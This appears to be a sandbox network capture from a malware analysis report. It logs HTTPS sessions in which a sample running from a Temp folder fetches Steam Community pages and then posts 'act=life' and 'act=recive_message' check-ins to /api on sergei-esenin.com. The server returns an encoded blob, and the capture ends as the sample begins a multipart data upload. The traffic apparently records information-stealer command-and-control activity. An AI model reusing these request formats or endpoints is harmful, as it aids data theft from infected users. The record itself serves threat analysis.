Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 02:58:18 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 02:58:18 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49999	104.21.53.8	443	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:19 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 02:58:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 02:58:19 UTC	562	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 02:58:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jGemXCJte6w59AwDLXhvz51%2B1KbMXkr5%2F%2FeHEDtSIPv4eB0%2FxiIA8b2x7BcnBpbYy1h2iKTiiEBugkSSXVFAphgMMgY1F0YlJ9U0Nvyoyay84u8tHztbumIkSF3btMemEoTlAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b4562ae0a921-DFW
2024-10-24 02:58:19 UTC	807	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 02:58:19 UTC	1369	IN	Data Raw: 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e Data Ascii: cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElemen
2024-10-24 02:58:19 UTC	1369	IN	Data Raw: 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 02:58:19 UTC	899	IN	Data Raw: 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 Data Ascii: 71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-land
2024-10-24 02:58:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50002	104.21.53.8	443	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:20 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=Vem6QzaiqZJURHa3lMe7iDflSjuGrTb7yeRBacZUlYA-1729738699-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 02:58:20 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 02:58:20 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d6abn8k7s0cr7aasingifr42le; expires=Sun, 16 Feb 2025 20:44:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vsH5b0O22zKZ09LPECVvUM8L%2Fp996gFRRuTdiholuk3taEkHL2s46sZyY%2BdYfP1FfDnoNoRnfBqhJlemLTBXflUVxDfH1gj9I16St5EKwQTUPHNbpSab%2FQXxZ4NzWcyz8HTucQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b45bf9202c8a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1325&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1042&delivery_rate=2175807&cwnd=249&unsent_bytes=0&cid=229c91c2dbfce1e2&ts=432&x=0"
2024-10-24 02:58:20 UTC	353	IN	Data Raw: 34 34 36 63 0d 0a 6e 33 79 2b 72 4e 37 53 52 53 78 75 32 7a 4c 50 4e 42 78 56 33 6f 37 69 78 45 47 4e 62 43 42 41 5a 72 35 6d 4b 36 77 5a 76 6d 4c 6b 58 73 69 4f 35 4f 5a 70 44 68 32 2b 45 50 56 41 62 69 43 37 6f 73 43 6c 4a 61 39 57 52 69 45 4b 7a 51 4d 48 6a 6d 2f 54 51 4b 55 61 33 38 43 74 74 32 6b 4f 43 36 4d 51 39 57 39 6e 64 37 76 67 77 50 35 6a 36 41 5a 43 49 51 72 63 42 30 44 44 61 64 49 42 39 78 44 5a 78 4c 75 78 49 55 30 43 74 6c 65 71 55 58 30 2f 73 4f 65 50 72 43 79 76 51 41 49 6c 48 4a 78 63 43 65 46 38 79 67 50 53 48 63 33 48 2f 4b 39 70 56 30 79 2b 58 4f 30 4f 50 6a 53 37 37 49 36 69 4a 65 59 45 53 43 67 43 33 51 4a 42 33 48 44 59 43 76 63 65 32 73 57 78 75 44 56 41 43 4c 46 63 72 46 74 39 64 2f 4b 73 68 37 35 6a 74 30 34 52 45 41 66 4e 46 Data Ascii: 446cn3y+rN7SRSxu2zLPNBxV3o7ixEGNbCBAZr5mK6wZvmLkXsiO5OZpDh2+EPVAbiC7osClJa9WRiEKzQMHjm/TQKUa38Ctt2kOC6MQ9W9nd7vgwP5j6AZCIQrcB0DDadIB9xDZxLuxIU0CtleqUX0/sOePrCyvQAIlHJxcCeF8ygPSHc3H/K9pV0y+XO0OPjS77I6iJeYESCgC3QJB3HDYCvce2sWxuDVACLFcrFt9d/Ksh75jt04REAfNF
2024-10-24 02:58:20 UTC	1369	IN	Data Raw: 39 76 53 64 63 42 4c 4a 62 71 45 52 31 50 72 48 68 67 4b 73 70 34 41 31 43 4a 51 37 57 43 30 50 4b 64 74 45 47 2f 52 36 63 67 50 79 33 50 77 35 55 2b 58 4f 6f 52 6e 6b 37 71 71 36 36 35 6a 79 68 46 77 49 6c 43 4a 78 63 43 63 5a 2b 33 77 50 32 45 64 2f 47 74 36 49 6e 58 41 71 30 56 62 39 51 65 7a 6d 32 37 35 4b 73 4c 65 6b 4e 53 79 6b 4e 32 51 4e 4e 6a 6a 57 63 42 2b 56 65 68 49 36 64 76 53 78 43 42 71 35 51 37 55 6b 77 4c 76 7a 72 6a 4f 5a 37 72 77 70 44 4a 67 58 59 43 6b 66 4b 64 39 6f 4f 38 42 48 61 78 4c 79 33 4c 55 59 45 75 46 32 6d 57 58 34 79 73 65 69 47 71 69 4c 71 54 67 78 69 41 38 52 45 45 59 35 56 32 77 50 76 58 4f 6e 4e 73 72 34 67 57 45 79 6d 48 72 51 57 65 54 76 38 74 4d 43 6f 4a 75 41 63 51 7a 41 42 30 68 5a 46 79 33 33 52 41 2f 4d 65 32 63 Data Ascii: 9vSdcBLJbqER1PrHhgKsp4A1CJQ7WC0PKdtEG/R6cgPy3Pw5U+XOoRnk7qq665jyhFwIlCJxcCcZ+3wP2Ed/Gt6InXAq0Vb9Qezm275KsLekNSykN2QNNjjWcB+VehI6dvSxCBq5Q7UkwLvzrjOZ7rwpDJgXYCkfKd9oO8BHaxLy3LUYEuF2mWX4yseiGqiLqTgxiA8REEY5V2wPvXOnNsr4gWEymHrQWeTv8tMCoJuAcQzAB0hZFy33RA/Me2c
2024-10-24 02:58:20 UTC	1369	IN	Data Raw: 57 45 79 6d 48 72 51 57 65 54 76 38 74 4d 43 71 4b 75 38 46 53 43 59 45 32 77 6c 4d 7a 58 7a 66 44 66 6f 55 30 73 6d 34 76 43 35 44 43 72 6c 58 71 56 4e 73 4d 72 58 67 6a 4f 5a 74 72 77 6c 61 59 6c 79 63 4b 30 37 59 65 50 4d 44 37 42 65 63 30 66 4b 70 5a 30 6b 41 2b 51 6a 74 55 58 73 2f 74 2b 71 49 70 6a 48 71 41 45 6b 6a 44 74 6f 46 52 4d 4a 39 33 41 48 39 47 4e 44 4f 75 37 63 31 58 41 6d 2f 51 71 63 57 4d 48 65 37 39 4d 44 2b 59 39 6b 65 56 54 4d 53 6e 6a 46 4b 77 48 58 62 46 72 30 42 6b 74 66 38 74 79 73 4f 56 50 6c 62 72 56 70 35 50 37 72 6f 69 4b 6b 73 35 68 78 44 4c 67 72 4f 41 30 6e 48 64 64 4d 4d 39 42 50 62 77 37 65 36 4b 6b 6f 4c 75 42 44 6a 46 6e 6b 76 2f 4c 54 41 6b 44 50 69 41 6d 77 70 43 4e 56 45 56 6f 42 69 6e 41 66 78 58 6f 53 4f 75 4c 77 Data Ascii: WEymHrQWeTv8tMCqKu8FSCYE2wlMzXzfDfoU0sm4vC5DCrlXqVNsMrXgjOZtrwlaYlycK07YePMD7Bec0fKpZ0kA+QjtUXs/t+qIpjHqAEkjDtoFRMJ93AH9GNDOu7c1XAm/QqcWMHe79MD+Y9keVTMSnjFKwHXbFr0Bktf8tysOVPlbrVp5P7roiKks5hxDLgrOA0nHddMM9BPbw7e6KkoLuBDjFnkv/LTAkDPiAmwpCNVEVoBinAfxXoSOuLw
2024-10-24 02:58:20 UTC	1369	IN	Data Raw: 56 57 6f 55 6e 6b 7a 75 75 50 41 36 47 50 6f 46 67 4a 36 52 50 4d 6a 66 49 78 61 35 6b 44 69 55 4d 57 4f 75 37 78 6e 46 6b 79 31 55 36 46 65 63 54 47 31 34 49 71 76 4b 4f 4d 46 52 69 34 4e 32 51 4a 49 79 33 37 64 42 50 45 55 32 73 32 2f 76 79 68 42 42 50 6b 65 37 56 46 6d 64 2b 53 73 70 62 45 6f 34 51 67 43 50 55 72 46 52 45 37 43 4f 34 52 41 38 52 66 61 79 4c 6d 38 4a 6b 67 45 76 46 69 70 56 33 67 78 76 2b 4f 45 6f 79 4c 67 43 6b 34 73 44 74 30 46 52 63 56 30 31 77 57 39 55 4a 7a 4a 70 50 42 2f 44 6a 32 36 52 72 70 47 63 6e 65 6a 6f 70 6e 6d 4a 4f 4e 4f 47 6d 49 46 7a 67 35 44 77 48 37 54 42 66 34 52 32 38 4f 36 76 43 31 48 42 4c 39 66 70 45 52 39 4f 37 4c 72 6a 71 6f 74 34 67 52 42 4c 30 53 53 52 45 37 57 4f 34 52 41 30 52 6e 52 34 4c 65 38 49 41 34 54 Data Ascii: VWoUnkzuuPA6GPoFgJ6RPMjfIxa5kDiUMWOu7xnFky1U6FecTG14IqvKOMFRi4N2QJIy37dBPEU2s2/vyhBBPke7VFmd+SspbEo4QgCPUrFRE7CO4RA8RfayLm8JkgEvFipV3gxv+OEoyLgCk4sDt0FRcV01wW9UJzJpPB/Dj26RrpGcnejopnmJONOGmIFzg5DwH7TBf4R28O6vC1HBL9fpER9O7Lrjqot4gRBL0SSRE7WO4RA0RnR4Le8IA4T
2024-10-24 02:58:20 UTC	1369	IN	Data Raw: 67 2b 4d 4b 53 73 32 4f 59 56 36 42 35 53 49 55 62 74 45 6b 72 59 63 4e 45 4d 76 51 47 53 31 2f 79 33 4b 77 35 55 2b 56 61 69 58 33 30 34 76 65 57 4d 71 79 62 6d 43 30 4d 6b 41 4e 59 4f 53 63 68 39 33 51 58 33 48 64 33 45 74 62 63 76 53 51 2b 72 45 4f 4d 57 65 53 2f 38 74 4d 43 50 4a 50 30 41 55 6d 49 62 6b 68 30 4a 79 58 65 63 57 4c 30 61 31 73 47 34 74 79 74 49 43 62 39 64 72 46 6c 2f 4e 37 50 6f 69 36 38 6c 37 67 4e 48 4c 77 44 4f 44 6b 4c 42 64 39 55 4d 38 46 36 53 6a 72 75 6f 5a 78 5a 4d 69 46 32 6a 57 48 6b 68 2f 50 50 4f 76 32 50 6f 41 67 4a 36 52 4e 30 49 52 73 31 30 33 77 50 38 46 4d 37 63 73 4c 6b 76 53 77 43 79 58 71 74 45 65 44 69 31 37 34 4f 76 4a 4f 63 43 53 43 45 44 6e 45 6f 4a 79 57 4f 63 57 4c 30 39 79 39 36 78 38 44 67 41 46 66 6c 58 6f Data Ascii: g+MKSs2OYV6B5SIUbtEkrYcNEMvQGS1/y3Kw5U+VaiX304veWMqybmC0MkANYOSch93QX3Hd3EtbcvSQ+rEOMWeS/8tMCPJP0AUmIbkh0JyXecWL0a1sG4tytICb9drFl/N7Poi68l7gNHLwDODkLBd9UM8F6SjruoZxZMiF2jWHkh/PPOv2PoAgJ6RN0IRs103wP8FM7csLkvSwCyXqtEeDi174OvJOcCSCEDnEoJyWOcWL09y96x8DgAFflXo
2024-10-24 02:58:20 UTC	1369	IN	Data Raw: 79 2f 6f 57 67 4c 4f 41 48 53 79 59 4d 33 77 52 4e 79 6e 7a 5a 41 2f 45 56 32 38 32 7a 74 43 35 41 42 62 59 51 34 78 5a 35 4c 2f 79 30 77 49 63 34 37 41 4a 50 59 68 75 53 48 51 6e 4a 64 35 78 59 76 52 4c 53 79 37 79 36 49 55 6f 4a 76 31 71 6f 56 6e 55 30 73 2b 69 47 6f 69 7a 76 42 55 73 6a 41 74 6b 4f 51 73 68 32 33 77 62 37 58 70 4b 4f 75 36 68 6e 46 6b 79 5a 53 36 42 61 65 58 65 6a 6f 70 6e 6d 4a 4f 4e 4f 47 6d 49 50 30 41 42 4f 7a 6e 62 66 43 50 67 61 31 73 75 38 75 44 56 47 44 4c 35 43 76 31 5a 33 4d 72 44 76 67 4b 49 6c 35 67 68 42 4a 6b 53 53 52 45 37 57 4f 34 52 41 30 42 4c 62 35 37 75 72 5a 31 46 43 6f 42 43 71 57 6a 35 76 2f 4f 32 4c 72 43 7a 69 44 55 51 68 44 39 6b 4f 53 4d 6c 7a 30 52 4c 2b 45 64 50 4b 76 4c 38 68 53 41 32 32 56 71 70 66 66 7a Data Ascii: y/oWgLOAHSyYM3wRNynzZA/EV282ztC5ABbYQ4xZ5L/y0wIc47AJPYhuSHQnJd5xYvRLSy7y6IUoJv1qoVnU0s+iGoizvBUsjAtkOQsh23wb7XpKOu6hnFkyZS6BaeXejopnmJONOGmIP0ABOznbfCPga1su8uDVGDL5Cv1Z3MrDvgKIl5ghBJkSSRE7WO4RA0BLb57urZ1FCoBCqWj5v/O2LrCziDUQhD9kOSMlz0RL+EdPKvL8hSA22Vqpffz
2024-10-24 02:58:20 UTC	1369	IN	Data Raw: 6d 42 33 49 47 45 67 6c 46 4e 73 54 52 6f 34 31 6e 41 2b 39 52 75 57 4f 74 62 63 38 58 78 71 30 51 4b 6f 57 51 58 6e 38 39 4d 44 2b 59 39 6f 4e 54 43 77 44 79 68 55 45 36 57 33 57 42 2b 30 5a 79 38 48 38 2f 6d 64 49 54 4f 45 44 34 78 5a 36 4a 76 79 30 30 50 52 34 75 6c 30 56 63 6c 62 44 53 6c 43 4f 62 5a 78 59 72 31 43 63 33 50 7a 6f 5a 77 6b 50 71 30 4b 72 56 57 67 30 2b 39 4b 2b 67 54 6e 69 43 46 55 7a 4f 75 49 44 55 38 4e 39 79 78 47 78 43 39 2f 41 73 72 63 78 44 6b 4c 35 58 2b 30 4f 52 33 66 30 72 4c 2f 6f 59 2f 64 4f 47 6d 49 78 33 77 70 48 79 57 33 4e 54 64 6f 45 30 63 69 72 6f 57 63 41 54 4c 38 51 39 51 59 77 64 37 6a 39 77 50 35 7a 76 56 55 58 63 56 4f 4d 56 6c 61 41 59 70 77 57 76 55 61 4f 67 50 79 69 5a 78 5a 4d 2f 6c 4f 2f 52 48 67 30 71 75 2f Data Ascii: mB3IGEglFNsTRo41nA+9RuWOtbc8Xxq0QKoWQXn89MD+Y9oNTCwDyhUE6W3WB+0Zy8H8/mdITOED4xZ6Jvy00PR4ul0VclbDSlCObZxYr1Cc3PzoZwkPq0KrVWg0+9K+gTniCFUzOuIDU8N9yxGxC9/AsrcxDkL5X+0OR3f0rL/oY/dOGmIx3wpHyW3NTdoE0ciroWcATL8Q9QYwd7j9wP5zvVUXcVOMVlaAYpwWvUaOgPyiZxZM/lO/RHg0qu/
2024-10-24 02:58:20 UTC	1369	IN	Data Raw: 31 59 43 46 77 66 53 43 6b 37 59 61 70 45 6e 38 78 6e 64 32 4b 79 6e 4b 41 35 43 2b 56 62 74 44 69 78 35 2f 4f 69 52 35 6e 75 2f 58 42 6c 33 56 34 74 55 47 39 45 31 78 55 44 72 58 6f 53 63 38 76 41 31 44 6c 54 35 46 36 35 45 62 44 47 2f 2b 6f 50 68 48 64 45 70 54 43 55 46 79 68 52 65 77 54 54 79 4e 74 77 67 34 74 75 2f 76 69 6c 4a 47 71 67 51 34 78 5a 78 64 2b 54 56 77 4f 35 6a 30 45 41 43 4f 6b 53 45 52 48 7a 4e 64 64 49 48 36 77 2b 52 36 62 4b 33 4a 6c 67 63 72 6c 2f 69 65 45 67 57 2f 4b 4c 41 6f 47 4f 33 58 41 78 69 41 4d 31 45 45 5a 34 70 68 31 57 75 53 59 79 63 6f 2f 34 2b 44 68 72 35 43 50 38 59 50 69 58 38 74 4d 44 68 49 50 30 63 52 43 45 53 33 30 4e 33 38 46 7a 53 42 2f 77 49 7a 4d 4f 77 6b 53 52 66 42 6f 64 75 75 46 56 77 4f 62 76 36 6b 65 5a 74 Data Ascii: 1YCFwfSCk7YapEn8xnd2KynKA5C+VbtDix5/OiR5nu/XBl3V4tUG9E1xUDrXoSc8vA1DlT5F65EbDG/+oPhHdEpTCUFyhRewTTyNtwg4tu/vilJGqgQ4xZxd+TVwO5j0EACOkSERHzNddIH6w+R6bK3Jlgcrl/ieEgW/KLAoGO3XAxiAM1EEZ4ph1WuSYyco/4+Dhr5CP8YPiX8tMDhIP0cRCES30N38FzSB/wIzMOwkSRfBoduuFVwObv6keZt
2024-10-24 02:58:20 UTC	1369	IN	Data Raw: 38 41 79 68 46 4b 33 6e 7a 69 50 74 41 4d 32 39 36 2f 38 67 74 4a 41 62 56 75 6b 32 46 76 4d 4b 79 75 70 71 55 31 37 45 34 4d 59 68 79 63 58 41 6e 6a 61 64 73 51 2f 6c 7a 77 79 62 47 38 5a 31 46 43 6f 42 43 37 46 69 5a 6b 38 71 79 53 35 6e 75 76 53 55 45 77 46 74 6f 48 58 38 30 38 34 6a 37 51 44 4e 76 65 76 2f 49 57 51 77 69 76 52 61 35 47 65 51 6d 43 77 5a 4b 68 4d 2b 78 4d 5a 78 68 47 37 52 4a 4b 7a 6e 58 62 51 4c 4e 65 78 49 37 6b 38 41 70 63 43 36 6c 54 37 33 4e 45 64 59 33 36 67 36 59 74 36 45 35 64 62 42 32 63 45 67 6d 57 4b 4a 4a 41 37 31 36 45 6a 76 75 2b 4b 6b 38 50 74 31 4f 2f 52 48 67 30 71 75 2f 48 6d 42 33 41 42 55 4d 79 43 63 30 4a 54 64 68 46 34 69 66 37 47 39 76 77 67 6f 63 32 53 52 7a 37 64 71 35 41 66 58 66 79 72 4a 6a 6d 65 36 38 70 52 Data Ascii: 8AyhFK3nziPtAM296/8gtJAbVuk2FvMKyupqU17E4MYhycXAnjadsQ/lzwybG8Z1FCoBC7FiZk8qyS5nuvSUEwFtoHX8084j7QDNvev/IWQwivRa5GeQmCwZKhM+xMZxhG7RJKznXbQLNexI7k8ApcC6lT73NEdY36g6Yt6E5dbB2cEgmWKJJA716Ejvu+Kk8Pt1O/RHg0qu/HmB3ABUMyCc0JTdhF4if7G9vwgoc2SRz7dq5AfXfyrJjme68pR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50003	104.21.53.8	443	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:21 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Vem6QzaiqZJURHa3lMe7iDflSjuGrTb7yeRBacZUlYA-1729738699-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
